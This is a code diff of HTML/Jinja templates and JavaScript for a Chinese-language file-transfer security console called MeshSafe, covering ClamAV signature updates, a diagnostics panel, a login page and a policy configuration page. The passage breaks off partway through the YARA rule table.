if (!data.daemon_ok) {
el.textContent = '守护进程不可用';
el.style.color = '#b91c1c';
return;
}
// 只显示到日期,不显示时分秒
const d = (data.signature_date || '').slice(0, 10);
el.textContent = d || '未知';
el.style.color = '';
if (data.signature_days_old !== null && data.signature_days_old > 7) {
el.textContent = d + '(已 ' + data.signature_days_old + ' 天)';
el.style.color = '#b45309';
}
} catch (e) {
el.textContent = '加载失败';
el.style.color = '#b91c1c';
}
}
// ========== 在线更新 ==========
async function clamavUpdate(btn) {
if (!confirm('确认尝试在线更新病毒库?\n光闸内网环境大概率拉不到(断网隔离)。')) return;
const old = btn.textContent;
btn.disabled = true; btn.textContent = '更新中...';
try {
const resp = await fetch('/console/clamav/update', { method: 'POST', credentials: 'same-origin' });
const data = await resp.json();
if (data.ok) {
alert('✅ ' + data.message + '\n\n' + (data.output || ''));
} else {
alert('⚠️ ' + data.message + '\n\n请改用「上传签名库」离线导入。');
}
loadClamavInfo();
} catch (e) {
alert('❌ 请求失败: ' + e);
} finally {
btn.disabled = false; btn.textContent = old;
}
}
// ========== 上传模态框 ==========
function openUploadModal() {
document.getElementById('uploadModal').classList.add('show');
document.getElementById('uploadResult').className = 'result-box';
document.getElementById('uploadResult').textContent = '';
document.getElementById('uploadFiles').value = '';
}
function closeUploadModal() {
document.getElementById('uploadModal').classList.remove('show');
}
async function submitUpload() {
const input = document.getElementById('uploadFiles');
const result = document.getElementById('uploadResult');
const btn = document.getElementById('uploadSubmitBtn');
if (!input.files || input.files.length === 0) {
result.className = 'result-box err show';
result.textContent = '❌ 请先选择要上传的文件';
return;
}
const fd = new FormData();
for (let i = 0; i < input.files.length; i++) {
fd.append('files', input.files[i]);
}
btn.disabled = true; btn.textContent = '上传中...';
result.className = 'result-box';
result.textContent = '';
try {
const resp = await fetch('/console/clamav/upload', {
method: 'POST', body: fd, credentials: 'same-origin',
});
const data = await resp.json();
result.className = 'result-box ' + (data.ok ? 'ok' : 'err') + ' show';
let txt = '';
if (data.saved && data.saved.length > 0) {
txt += '✅ 成功导入 ' + data.saved.length + ' 个文件:\n';
data.saved.forEach(s => txt += ' · ' + s.name + ' (' + s.size_mb + ' MB)\n');
txt += '\n' + (data.reload_message || '');
}
if (data.errors && data.errors.length > 0) {
txt += '\n❌ 失败:\n';
data.errors.forEach(e => txt += ' · ' + e + '\n');
}
if (data.skipped && data.skipped.length > 0) {
txt += '\n⏭️ 跳过:\n';
data.skipped.forEach(s => txt += ' · ' + s + '\n');
}
result.textContent = txt || data.message || '完成';
loadClamavInfo();
} catch (e) {
result.className = 'result-box err show';
result.textContent = '❌ 请求失败: ' + e;
} finally {
btn.disabled = false; btn.textContent = '确认上传';
}
}
loadClamavInfo();
</script>
</body>
</html>

View File

@@ -0,0 +1,415 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>MeshSafe · 诊断面板</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f4f6fa; color: #1e293b; }
{% include "_nav_style.html" %}
/* 诊断面板专用样式 */
.diag-wrap { padding: 28px 40px; max-width: 1180px; margin: 0 auto; }
.diag-header {
display: flex; justify-content: space-between; align-items: center;
margin-bottom: 24px;
}
.diag-header h1 { font-size: 20px; font-weight: 700; color: #0f172a; }
.diag-header .meta { font-size: 12.5px; color: #64748b; }
/* 统计卡 */
.diag-stats {
display: grid; grid-template-columns: repeat(4, 1fr); gap: 14px;
margin-bottom: 24px;
}
.diag-stat {
background: white; border: 1px solid #e2e8f0; border-radius: 12px;
padding: 18px 20px;
}
.diag-stat .label { font-size: 12px; color: #64748b; margin-bottom: 4px; }
.diag-stat .val { font-size: 26px; font-weight: 700; color: #0f172a; }
.diag-stat .val.crit { color: #b91c1c; }
.diag-stat .val.warn { color: #b45309; }
.diag-stat .val.ok { color: #15803d; }
/* 区块 */
.diag-block {
background: white; border: 1px solid #e2e8f0; border-radius: 12px;
margin-bottom: 20px;
}
.diag-block h2 {
font-size: 14px; font-weight: 600; color: #0f172a;
padding: 14px 20px; border-bottom: 1px solid #f1f5f9;
}
/* 规则列表 */
.rule-item {
padding: 12px 20px; border-bottom: 1px solid #f8fafc;
display: flex; align-items: flex-start; gap: 12px;
}
.rule-item:last-child { border-bottom: none; }
.rule-item .rule-id {
font-family: monospace; font-size: 12px; color: #94a3b8;
min-width: 44px; flex-shrink: 0;
}
.rule-item .rule-body { flex: 1; min-width: 0; }
.rule-item .rule-msg {
font-size: 13.5px; color: #0f172a; margin-bottom: 2px;
}
.rule-item .rule-hint {
font-size: 12px; color: #64748b; line-height: 1.5;
white-space: pre-line;
}
.rule-item .rule-evidence {
font-size: 11.5px; color: #94a3b8; font-family: monospace;
margin-top: 4px; padding: 6px 10px; background: #f8fafc; border-radius: 6px;
max-height: 120px; overflow-y: auto; white-space: pre-wrap;
}
.rule-item .rule-time {
font-size: 11px; color: #94a3b8; flex-shrink: 0;
}
.rule-item.skipped .rule-msg { color: #94a3b8; }
/* 容器/引擎表 */
.diag-table { width: 100%; border-collapse: collapse; font-size: 13px; }
.diag-table th {
text-align: left; padding: 10px 20px; font-weight: 500;
color: #64748b; font-size: 12px; border-bottom: 1px solid #f1f5f9;
}
.diag-table td { padding: 10px 20px; border-bottom: 1px solid #f8fafc; color: #0f172a; }
.diag-table tr:last-child td { border-bottom: none; }
.engine-name, .container-name { font-weight: 500; }
.status-running { color: #15803d; font-weight: 500; }
.status-exited { color: #b91c1c; font-weight: 500; }
.status-paused { color: #b45309; font-weight: 500; }
/* 未启用横幅 */
.diag-disabled {
background: linear-gradient(135deg, #f1f5f9 0%, #e2e8f0 100%);
border: 1px solid #cbd5e1; border-radius: 12px;
padding: 28px 32px; text-align: center; margin-bottom: 24px;
}
.diag-disabled h2 { font-size: 18px; font-weight: 600; color: #475569; margin-bottom: 10px; }
.diag-disabled p { font-size: 13px; color: #64748b; line-height: 1.7; }
/* 空状态 */
.diag-empty {
padding: 20px; text-align: center; color: #94a3b8; font-size: 13px;
}
/* 按钮 */
.btn-export {
display: inline-flex; align-items: center; gap: 8px;
padding: 10px 22px;
background: linear-gradient(135deg, #1e3a5f, #3b82f6);
color: white; border: none; border-radius: 8px;
font-size: 13.5px; font-weight: 500; cursor: pointer;
text-decoration: none; transition: all .2s;
}
.btn-export:hover { box-shadow: 0 4px 12px rgba(59,130,246,.3); transform: translateY(-1px); }
.diag-footer {
display: flex; justify-content: flex-end; align-items: center;
gap: 16px; margin-top: 20px;
}
/* 刷新按钮 */
.refresh-btn {
display: inline-flex; align-items: center; gap: 4px;
background: transparent; border: none; cursor: pointer;
color: #94a3b8; font-size: 12px; font-weight: 400;
margin-left: 8px; padding: 2px 6px; border-radius: 4px;
transition: color .2s, background .2s;
vertical-align: middle;
}
.refresh-btn:hover { color: #3b82f6; background: rgba(59,130,246,.08); }
.refresh-btn svg { transition: transform .6s cubic-bezier(.4,0,.2,1); }
.refresh-btn.spinning svg { animation: spin .8s linear infinite; }
@keyframes spin { to { transform: rotate(360deg); } }
.refresh-time { font-variant-numeric: tabular-nums; }
</style>
</head>
<body>
{% include "_nav.html" %}
<div class="diag-wrap">
<!-- 顶部 -->
<div class="diag-header">
<h1>🔧 系统诊断</h1>
<div class="meta">
🕐 刷新时间: {{ refresh_time }}
&nbsp;·&nbsp; {{ docker_status_msg }}
{% if started_at %}&nbsp;·&nbsp; 诊断启用: {{ started_at[:19].replace('T', ' ') }}{% endif %}
</div>
</div>
<!-- 未启用横幅 -->
{% if not diag_enabled %}
<div class="diag-disabled">
<h2>⛔ 诊断套件未启用</h2>
<p>diagnostics.yaml: diagnostics.enabled = false<br>
启用后将开启后台定时检测(三个定时器,CPU 占用可忽略)。<br>
当前仅保留手动导出功能,自动规则引擎已停止。</p>
<p style="margin-top:14px;"><a href="/api/v1/telemetry/dump" class="btn-export">📦 手动导出诊断包</a></p>
</div>
{% else %}
<!-- 统计卡 -->
<div class="diag-stats">
<div class="diag-stat">
<div class="label">规则总数</div>
<div class="val">{{ rule_count }}</div>
</div>
<div class="diag-stat">
<div class="label">严重</div>
<div class="val crit">{{ crit_count }}</div>
</div>
<div class="diag-stat">
<div class="label">警告</div>
<div class="val warn">{{ warn_count }}</div>
</div>
<div class="diag-stat">
<div class="label">通过</div>
<div class="val ok">{{ ok_count }}</div>
</div>
</div>
<!-- 异常检测 -->
<div class="diag-block">
<h2>⚠️ 规则检测</h2>
{% if all_rules %}
{% for r in all_rules %}
<div class="rule-item {% if r.skipped %}skipped{% endif %}">
<span class="rule-id">{{ r.id }}</span>
<div class="rule-body">
<div class="rule-msg">
<span class="{{ badge_for(r.severity) }}">{{ {
'high': '严重', 'medium': '警告', 'low': '提示',
'info': '信息', 'ok': '通过'
}.get(r.severity, '未知') }}</span>
&nbsp;{{ r.message }}
</div>
{% if r.hint %}<div class="rule-hint">💡 {{ r.hint }}</div>{% endif %}
{% if r.evidence %}
<div class="rule-evidence">{% for e in r.evidence %}{{ e }}{% if not loop.last %}\n{% endif %}{% endfor %}</div>
{% endif %}
{% if r.skipped and r.skip_reason %}
<div class="rule-hint" style="color:#94a3b8;">⏭️ 跳过原因: {{ r.skip_reason }}</div>
{% endif %}
</div>
<span class="rule-time">
{% if r.run_at %}{{ r.run_at }}{% endif %}
{% if r.run_by %}<br><span style="color:#cbd5e1;font-size:10.5px;">{{ r.run_by }}</span>{% endif %}
</span>
</div>
{% endfor %}
{% else %}
<div class="diag-empty">暂无规则结果(定时器还没跑起来?)</div>
{% endif %}
</div>
<!-- 引擎健康 -->
<div class="diag-block" id="engine-health-wrap">
<h2>🧪 引擎状态
<button id="engine-refresh-btn" class="refresh-btn" title="立即刷新" aria-label="刷新">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="23 4 23 10 17 10"></polyline><polyline points="1 20 1 14 7 14"></polyline><path d="M3.51 9a9 9 0 0 1 14.85-3.36L23 10M1 14l4.64 4.36A9 9 0 0 0 20.49 15"></path></svg>
<span id="engine-refresh-time" class="refresh-time">—</span>
</button>
</h2>
<div id="engine-health-body">
{% if engine_health %}
<table class="diag-table">
<thead><tr><th>引擎</th><th>状态</th><th>版本 / 详情</th></tr></thead>
<tbody>
{% for name, info in engine_health.items() %}
<tr>
<td class="engine-name">{{ name }}</td>
<td>
{% if info.get('ok') or info.get('available') %}
<span class="tag ok">在线</span>
{% else %}
<span class="tag bad">离线</span>
{% endif %}
</td>
<td style="color:#64748b;font-size:12px;">
{% if info.get('version') %}版本: {{ info.version }}{% endif %}
{% if info.get('signature_date') %}· 病毒库: {{ info.signature_date }}{% endif %}
{% if info.get('rules_loaded') is not none %}· 规则: {{ info.rules_loaded }}{% endif %}
</td>
</tr>
{% endfor %}
</tbody>
</table>
{% else %}
<div class="diag-empty">引擎健康信息不可用</div>
{% endif %}
</div>
</div>
<!-- 容器状态(Docker 可用时显示)-->
{% if docker_status == 'full' %}
<div class="diag-block">
<h2>🐳 容器运行状态</h2>
{% if docker_containers %}
<table class="diag-table">
<thead><tr><th>容器</th><th>状态</th><th>健康</th><th>Docker重启</th><th>历史重启</th><th>运行时长</th></tr></thead>
<tbody>
{% for c in docker_containers %}
{% if 'meshsafe' in c.name %}
<tr>
<td class="container-name">{{ c.name }}</td>
<td class="status-{{ c.status }}">
{% if c.oom_killed %}<span class="tag bad">OOM</span> {% endif %}
{{ c.status }}
</td>
<td>
{% if c.health %}
{% if c.health == 'healthy' %}<span class="tag ok">✓ healthy</span>
{% elif c.health == 'unhealthy' %}<span class="tag bad">✗ unhealthy</span>
{% elif c.health == 'starting' %}<span class="tag warn">… starting</span>
{% else %}{{ c.health }}{% endif %}
{% else %}—{% endif %}
</td>
<td>
{% if c.restart_count and c.restart_count > 3 %}
<span class="tag bad">{{ c.restart_count }}</span>
{% else %}
{{ c.restart_count if c.restart_count is not none else '-' }}
{% endif %}
</td>
<td>
{% if c.historical_restart_count and c.historical_restart_count > 0 %}
<span class="tag warn">{{ c.historical_restart_count }}</span>
{% else %}
0
{% endif %}
</td>
<td>{{ c.uptime or '—' }}</td>
</tr>
{% endif %}
{% endfor %}
</tbody>
</table>
<div class="diag-empty" style="font-size:11.5px;color:#94a3b8;margin-top:6px;padding:0;">
说明:Docker重启 = RestartCount(仅自动崩溃被拉起计数);
历史重启 = R015 检测到的 StartedAt/restart_count 变化(含手动 docker restart)
</div>
{% else %}
<div class="diag-empty">未发现 meshsafe 容器</div>
{% endif %}
</div>
{% elif docker_status == 'partial' %}
<div class="diag-block">
<h2>🐳 容器运行状态 <span class="tag warn">Docker 访问受限</span></h2>
<div class="diag-empty">部分容器信息不可用 — {{ docker_info.get('message', '') }}</div>
</div>
{% elif docker_status == 'none' %}
<div class="diag-block">
<h2>🐳 容器运行状态 <span class="tag muted">未启用</span></h2>
<div class="diag-empty">
Docker 日志检测未启用 — 如需启用,在 docker-compose.yml 的 api 服务中加<br>
<code>volumes: /var/run/docker.sock:/var/run/docker.sock:ro</code><br>
并确保 <code>group_add: ["999"]</code>
</div>
</div>
{% endif %}
<!-- 底部导出 -->
<div class="diag-footer">
<a href="/api/v1/telemetry/dump" class="btn-export" onclick="return confirm('将导出最近 500 条扫描记录、引擎状态、容器日志。\n不含客户内部文件名、IP、用户名等敏感信息。\n确定导出?')">📦 一键导出诊断包</a>
</div>
{% endif %} <!-- diag_enabled endif -->
</div>
<script>
(function(){
var REFRESH_INTERVAL = 10000; // 10 秒
var btn = document.getElementById('engine-refresh-btn');
var timeEl = document.getElementById('engine-refresh-time');
var bodyEl = document.getElementById('engine-health-body');
if (!btn || !bodyEl) return;
var timer = null;
function fmtTime(d){
var p = n => n.toString().padStart(2,'0');
return p(d.getHours())+':'+p(d.getMinutes())+':'+p(d.getSeconds());
}
function buildHealthHTML(health){
if (!health || Object.keys(health).length === 0){
return '<div class="diag-empty">引擎健康信息不可用</div>';
}
var rows = Object.entries(health).map(function([name, info]){
var online = info.ok || info.available;
var tag = online
? '<span class="tag ok">在线</span>'
: '<span class="tag bad">离线</span>';
var parts = [];
if (info.version) parts.push('版本: ' + info.version);
if (info.signature_date) parts.push('· 病毒库: ' + info.signature_date);
if (info.rules_loaded != null) parts.push('· 规则: ' + info.rules_loaded);
var detail = parts.length
? '<td style="color:#64748b;font-size:12px;">' + parts.join('') + '</td>'
: '<td style="color:#64748b;font-size:12px;">—</td>';
return '<tr>' +
'<td class="engine-name">' + name + '</td>' +
'<td>' + tag + '</td>' +
detail +
'</tr>';
}).join('');
return '<table class="diag-table">' +
'<thead><tr><th>引擎</th><th>状态</th><th>版本 / 详情</th></tr></thead>' +
'<tbody>' + rows + '</tbody>' +
'</table>';
}
function refresh(){
btn.classList.add('spinning');
fetch('/api/v1/telemetry/summary', {credentials: 'same-origin'})
.then(function(r){ return r.json(); })
.then(function(data){
if (data.engine_health){
bodyEl.innerHTML = buildHealthHTML(data.engine_health);
}
if (timeEl) timeEl.textContent = fmtTime(new Date());
})
.catch(function(){
if (timeEl) timeEl.textContent = '失败';
})
.finally(function(){
btn.classList.remove('spinning');
});
}
btn.addEventListener('click', function(e){
e.preventDefault();
refresh();
});
// 10 秒自动刷新
timer = setInterval(refresh, REFRESH_INTERVAL);
// 页面隐藏时暂停(省请求)
document.addEventListener('visibilitychange', function(){
if (document.hidden){
if (timer){ clearInterval(timer); timer = null; }
} else {
if (!timer){ timer = setInterval(refresh, REFRESH_INTERVAL); refresh(); }
}
});
// 首次记录时间
if (timeEl) timeEl.textContent = fmtTime(new Date());
})();
</script>
</body>
</html>

278
app/templates/login.html Normal file
View File

@@ -0,0 +1,278 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>MeshSafe · 文件摆渡安全卫士</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, "PingFang SC", "Microsoft YaHei", "Segoe UI", sans-serif;
min-height: 100vh;
display: flex;
background: #f8fafc;
}
/* ========= 左栏:品牌区 ========= */
.brand-side {
flex: 1.25;
background: linear-gradient(160deg, #0f172a 0%, #1e3a5f 40%, #0c4a6e 100%);
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
padding: 60px 72px;
position: relative;
overflow: hidden;
}
.brand-side::before {
content: "";
position: absolute; inset: 0;
background-image:
linear-gradient(rgba(56,189,248,.08) 1px, transparent 1px),
linear-gradient(90deg, rgba(56,189,248,.08) 1px, transparent 1px);
background-size: 48px 48px;
mask-image: radial-gradient(ellipse at center, black 20%, transparent 70%);
}
.brand-side::after {
content: "";
position: absolute;
width: 600px; height: 600px;
background: radial-gradient(circle, rgba(56,189,248,.15) 0%, transparent 65%);
top: 50%; left: 50%;
transform: translate(-50%, -50%);
animation: pulse 6s ease-in-out infinite;
}
@keyframes pulse {
0%, 100% { opacity: .7; transform: translate(-50%, -50%) scale(1); }
50% { opacity: 1; transform: translate(-50%, -50%) scale(1.05); }
}
.brand-content { position: relative; z-index: 1; width: 100%; max-width: 620px; }
.brand-logo {
display: flex; align-items: center; gap: 14px;
margin-bottom: 52px;
}
.brand-logo img { height: 42px; width: 42px; border-radius: 9px; }
.brand-logo .brand-name {
font-size: 27px; font-weight: 700; color: white; letter-spacing: .5px;
line-height: 1.2;
}
.brand-logo .brand-sub {
font-size: 12.5px; color: rgba(148,163,184,.85); letter-spacing: 1.5px;
margin-top: 3px;
}
/* 主标语 — 一行 */
.tagline-cn {
font-size: 30px; font-weight: 700; color: white;
line-height: 1.4; margin-bottom: 14px;
white-space: nowrap;
}
.tagline-cn .highlight {
background: linear-gradient(90deg, #38bdf8, #818cf8);
-webkit-background-clip: text; background-clip: text; color: transparent;
}
.tagline-en {
font-size: 13.5px; color: rgba(148,163,184,.75); letter-spacing: .3px;
margin-bottom: 44px;
}
/* 能力标签 — 横向一行 */
.cap-row {
display: flex; flex-wrap: nowrap; gap: 8px;
}
.cap {
display: inline-flex; align-items: center; gap: 6px;
padding: 8px 13px;
background: rgba(56,189,248,.08);
border: 1px solid rgba(56,189,248,.22);
border-radius: 100px;
font-size: 12.5px; color: rgba(226,232,240,.92);
backdrop-filter: blur(4px);
transition: all .2s;
white-space: nowrap;
flex-shrink: 0;
}
.cap:hover {
background: rgba(56,189,248,.15);
border-color: rgba(56,189,248,.4);
}
.cap .dot {
width: 6px; height: 6px; border-radius: 50%;
background: #38bdf8; flex-shrink: 0;
box-shadow: 0 0 8px rgba(56,189,248,.8);
}
.cap.secure .dot { background: #34d399; box-shadow: 0 0 8px rgba(52,211,153,.8); }
.cap.secure:hover { background: rgba(52,211,153,.13); border-color: rgba(52,211,153,.38); }
/* 引擎列表 */
.engine-line {
margin-top: 28px;
padding-top: 24px;
border-top: 1px solid rgba(148,163,184,.15);
}
.engine-line .el-label {
font-size: 11.5px; color: rgba(148,163,184,.6);
letter-spacing: 2px; margin-bottom: 12px;
}
.engine-line .el-items {
display: flex; flex-wrap: wrap; gap: 8px;
}
.engine-line .el {
font-size: 12px; color: rgba(203,213,225,.75);
padding: 5px 11px;
background: rgba(255,255,255,.04);
border: 1px solid rgba(255,255,255,.08);
border-radius: 6px;
}
/* ========= 右栏:登录卡片 ========= */
.login-side {
flex: 1;
display: flex; align-items: center; justify-content: center;
padding: 60px;
}
.login-card { width: 380px; }
.login-card .hello {
font-size: 15px; color: #64748b; margin-bottom: 8px;
}
.login-card .title {
font-size: 24px; font-weight: 700; color: #0f172a; margin-bottom: 36px;
}
label { display: block; font-size: 13px; color: #334155; margin-bottom: 8px; font-weight: 500; }
.input-wrap { position: relative; margin-bottom: 20px; }
.input-wrap input {
width: 100%; padding: 12px 14px 12px 40px;
border: 1.5px solid #e2e8f0; border-radius: 10px;
font-size: 14px; background: #f8fafc;
transition: all .2s;
}
.input-wrap input:focus {
border-color: #3b82f6; background: white;
box-shadow: 0 0 0 3px rgba(59,130,246,.12); outline: none;
}
.input-wrap .input-icon {
position: absolute; left: 12px; top: 50%; transform: translateY(-50%);
color: #94a3b8; font-size: 16px;
}
button.login-btn {
width: 100%; padding: 13px;
background: linear-gradient(135deg, #1e3a5f, #3b82f6);
color: white; border: none; border-radius: 10px;
font-size: 15px; font-weight: 600; cursor: pointer;
transition: all .2s;
margin-top: 8px;
}
button.login-btn:hover {
background: linear-gradient(135deg, #244773, #2563eb);
box-shadow: 0 8px 24px rgba(59,130,246,.3);
transform: translateY(-1px);
}
button.login-btn:active { transform: translateY(0); }
.error {
background: #fef2f2; color: #dc2626;
padding: 12px 14px; border-radius: 10px;
font-size: 13px; margin-bottom: 20px;
border: 1px solid #fecaca;
display: flex; align-items: center; gap: 8px;
}
.footer {
margin-top: 40px; text-align: center;
color: #94a3b8; font-size: 12px;
}
.footer .divider {
display: inline-block; width: 40px; height: 1px; background: #e2e8f0;
vertical-align: middle; margin: 0 12px;
}
@media (max-width: 1000px) {
.tagline-cn { font-size: 24px; white-space: normal; }
}
@media (max-width: 900px) {
body { flex-direction: column; }
.brand-side { padding: 48px 32px; flex: none; min-height: 320px; }
.engine-line { display: none; }
.login-side { padding: 32px; }
}
</style>
</head>
<body>
<!-- ========== 左栏:品牌区 ========== -->
<div class="brand-side">
<div class="brand-content">
<div class="brand-logo">
<img src="/static/logo.png" alt="MeshSafe">
<div>
<div class="brand-name">MeshSafe</div>
<div class="brand-sub">文件摆渡安全卫士</div>
</div>
</div>
<div class="tagline-cn">
多层检测,<span class="highlight">双向管控</span>,文件摆渡更安心
</div>
<div class="tagline-en">Multi-layer inspection · Bidirectional control · Safer file exchange</div>
<div class="cap-row">
<div class="cap"><span class="dot"></span>6 层引擎交叉检测</div>
<div class="cap secure"><span class="dot"></span>故障默认拦截</div>
<div class="cap"><span class="dot"></span>零容忍规则优先响应</div>
<div class="cap secure"><span class="dot"></span>全链路审计追溯</div>
</div>
<div class="engine-line">
<div class="el-label">DETECTION ENGINES</div>
<div class="el-items">
<div class="el">文件结构分析</div>
<div class="el">ClamAV 病毒库</div>
<div class="el">文档深度检测</div>
<div class="el">关键词匹配</div>
<div class="el">YARA 规则匹配</div>
<div class="el">PE/二进制分析</div>
</div>
</div>
</div>
</div>
<!-- ========== 右栏:登录卡片 ========== -->
<div class="login-side">
<div class="login-card">
<div class="hello">欢迎回来</div>
<div class="title">登录 MeshSafe</div>
{% if error %}
<div class="error">
<span>⚠️</span>
<span>{{ error }}</span>
</div>
{% endif %}
<form method="post" action="/console/login">
<div class="input-wrap">
<span class="input-icon">👤</span>
<input type="text" name="username" placeholder="请输入用户名" autocomplete="username" autofocus required>
</div>
<div class="input-wrap">
<span class="input-icon">🔒</span>
<input type="password" name="password" placeholder="请输入密码" autocomplete="current-password" required>
</div>
<button type="submit" class="login-btn">登 录</button>
</form>
<div class="footer">
<span>© MeshSafe</span>
<span class="divider"></span>
<span>文件摆渡 · 内外网隔离</span>
</div>
</div>
</div>
</body>
</html>

223
app/templates/policy.html Normal file
View File

@@ -0,0 +1,223 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<link rel="icon" href="/static/logo.png">
<title>策略配置 - MeshSafe 控制台</title>
<style>
* { box-sizing: border-box; }
body { font-family: -apple-system, "PingFang SC", "Microsoft YaHei", sans-serif;
margin: 0; background: #f5f6fa; color: #333; }
{% include "_nav_style.html" %}
main { padding: 24px; max-width: 1400px; margin: 0 auto; }
h2 { margin: 0 0 16px; font-size: 18px; }
.tabs { display: flex; border-bottom: 2px solid #e0e0e0; margin-bottom: 16px; }
.tab { padding: 10px 20px; cursor: pointer; font-size: 14px; color: #666; border-bottom: 2px solid transparent; margin-bottom: -2px; }
.tab.active { color: #1a2a6c; border-bottom-color: #1a2a6c; font-weight: 500; }
.panel { display: none; }
.panel.active { display: block; }
.card { background: white; border-radius: 10px; padding: 20px; box-shadow: 0 2px 8px rgba(0,0,0,.06); margin-bottom: 16px; }
.card h3 { margin: 0 0 12px; font-size: 14px; color: #555; font-weight: 600; }
textarea { width: 100%; min-height: 480px; font-family: "JetBrains Mono", Consolas, monospace;
font-size: 13px; padding: 14px; border: 1px solid #ddd; border-radius: 6px;
resize: vertical; line-height: 1.5; }
textarea:focus { border-color: #1a2a6c; outline: none; }
.toolbar { display: flex; gap: 10px; margin-top: 12px; align-items: center; }
button { padding: 9px 20px; border: none; border-radius: 6px; font-size: 14px; cursor: pointer; }
.btn-primary { background: #1a2a6c; color: white; font-weight: 500; }
.btn-primary:hover { background: #243a8c; }
.btn-ghost { background: #f0f0f0; color: #555; }
.btn-ghost:hover { background: #e4e4e4; }
.btn-danger { background: #c62828; color: white; }
.btn-danger:hover { background: #d32f2f; }
.versions { width: 100%; border-collapse: collapse; font-size: 13px; }
.versions th { background: #f8f9fa; padding: 8px 12px; text-align: left; color: #666;
font-weight: 500; border-bottom: 1px solid #eee; }
.versions td { padding: 8px 12px; border-bottom: 1px solid #f0f0f0; font-family: monospace; }
.chip { display: inline-block; padding: 2px 10px; border-radius: 12px; font-size: 12px;
margin: 2px; }
.chip-zt { background: #ffebee; color: #c62828; }
.chip-warn { background: #fff3e0; color: #ef6c00; }
.chip-info { background: #e3f2fd; color: #1565c0; }
.chip-ok { background: #e8f5e9; color: #2e7d32; }
.form-row { display: flex; gap: 12px; align-items: center; margin-bottom: 12px; }
.form-row label { width: 160px; font-size: 13px; color: #555; }
.form-row input[type=number], .form-row input[type=text] { padding: 8px 10px; border: 1px solid #ddd;
border-radius: 5px; font-size: 13px; width: 120px; }
</style>
</head>
<body>
{% set nav_active = 'policy' %}{% include "_nav.html" %}
<main>
<div class="tabs">
<div class="tab active" data-tab="yaml">YAML 模式(直接编辑)</div>
<div class="tab" data-tab="rules">规则清单(只读预览)</div>
<div class="tab" data-tab="yara">YARA 规则库({{ yara_loaded_count }} 条已加载)</div>
<div class="tab" data-tab="versions">版本历史</div>
</div>
<!-- ============ YAML 模式 ============ -->
<div id="panel-yaml" class="panel active">
<form method="post" action="/console/policy/save">
<input type="hidden" name="mode" value="yaml">
<div class="card">
<h3>策略内容(数据库为准,YAML 作为导出备份)</h3>
<textarea name="yaml_content" spellcheck="false">{{ yaml_text }}</textarea>
<div class="toolbar">
<button type="submit" class="btn-primary" {% if user.role != 'admin' %}disabled title="admin 权限才能保存"{% endif %}>保存并热重载</button>
<button type="button" class="btn-ghost" onclick="document.querySelector('#panel-yaml textarea').value = document.querySelector('#panel-yaml textarea').value;">刷新</button>
<span style="color:#888;font-size:12px;">当前版本:<b>{{ policy.version }}</b> · SHA256:{{ policy.sha256[:12] }}...</span>
</div>
</div>
</form>
</div>
<!-- ============ 规则清单 ============ -->
<div id="panel-rules" class="panel">
<div class="card">
<h3>零容忍规则集({{ policy.zero_tolerance_rules|length }} 条 · 命中即拒绝)</h3>
<div>
{% if zt_rules_cn %}
{% for r in zt_rules_cn %}
<span class="chip chip-zt" title="{{ r.rule }} — {{ r.cn_desc }}">{{ r.cn_name }}</span>
{% endfor %}
{% else %}
{% for r in policy.zero_tolerance_rules %}
<span class="chip chip-zt">{{ r }}</span>
{% endfor %}
{% endif %}
</div>
</div>
<div class="card">
<h3>策略全局参数</h3>
<table class="versions">
<tr><th>参数名</th><th>说明</th><th>当前值</th></tr>
<tr><td>block_score</td><td>单引擎累计得分 ≥ 此阈值 → 判定为 malicious 直接拒绝</td><td><b>{{ policy.block_score }}</b></td></tr>
<tr><td>review_score</td><td>累计得分落在这个区间 → 判定为 suspicious 转人工复核</td><td>{{ policy.review_score[0] }} ~ {{ policy.review_score[1] }}</td></tr>
<tr><td>engine_failure_mode</td><td>检测引擎异常时的处理策略(fail_closed=拒绝 fail_open=放行)</td><td><b style="color:#c62828;">{{ policy.engine_failure_mode }}</b></td></tr>
<tr><td>max_file_size</td><td>允许上传的单文件最大体积(超过直接拒绝)</td><td>{% set kb = policy.max_file_size / 1024 %}{% set mb = kb / 1024 %}{% if mb >= 1 %}{{ "%.1f"|format(mb) }} MB{% else %}{{ "%.0f"|format(kb) }} KB{% endif %}({{ policy.max_file_size }} 字节)</td></tr>
<tr><td>allow_encrypted_archive</td><td>是否允许带密码的加密 ZIP/RAR/7z 压缩包通过</td><td>{% if policy.allow_encrypted_archive %}<span class="chip chip-ok">允许</span>{% else %}<span class="chip chip-zt">禁止</span>{% endif %}</td></tr>
<tr><td>allow_encrypted_document</td><td>是否允许带密码的加密 Office 文档(.docx/.xlsx/.pptx)通过</td><td>{% if policy.allow_encrypted_document %}<span class="chip chip-ok">允许</span>{% else %}<span class="chip chip-zt">禁止</span>{% endif %}</td></tr>
<tr><td>白名单扩展名</td><td>允许上传的文件扩展名(不在此列表的直接拒绝)</td><td style="font-family:sans-serif;">
{% for e in policy.allowed_extensions %}
<span class="chip chip-info">{{ e }}</span>
{% endfor %}
</td></tr>
</table>
</div>
{% if policy.keyword_rules %}
<div class="card">
<h3>词表规则({{ policy.keyword_rules|length }} 条)</h3>
{% for kw in policy.keyword_rules %}
<div class="chip chip-info">{{ kw.name }}</div>
{% endfor %}
</div>
{% endif %}
</div>
<!-- ============ YARA 规则库 ============ -->
<div id="panel-yara" class="panel">
<div class="card">
<h3>YARA 规则库({{ yara_files_count }} 个文件 · {{ yara_loaded_count }} 条已编译)</h3>
{% if yara_rules %}
<table class="versions">
<thead>
<tr>
<th>规则名</th>
<th>分类</th>
<th>风险等级</th>
<th>误报率</th>
<th>权重</th>
<th>触发次数</th>
<th>参考</th>
</tr>
</thead>
<tbody>
{% for r in yara_rules %}
<tr>
<td style="font-family:monospace;font-size:12px;" title="{{ r.name }}">{{ r.name }}</td>
<td>
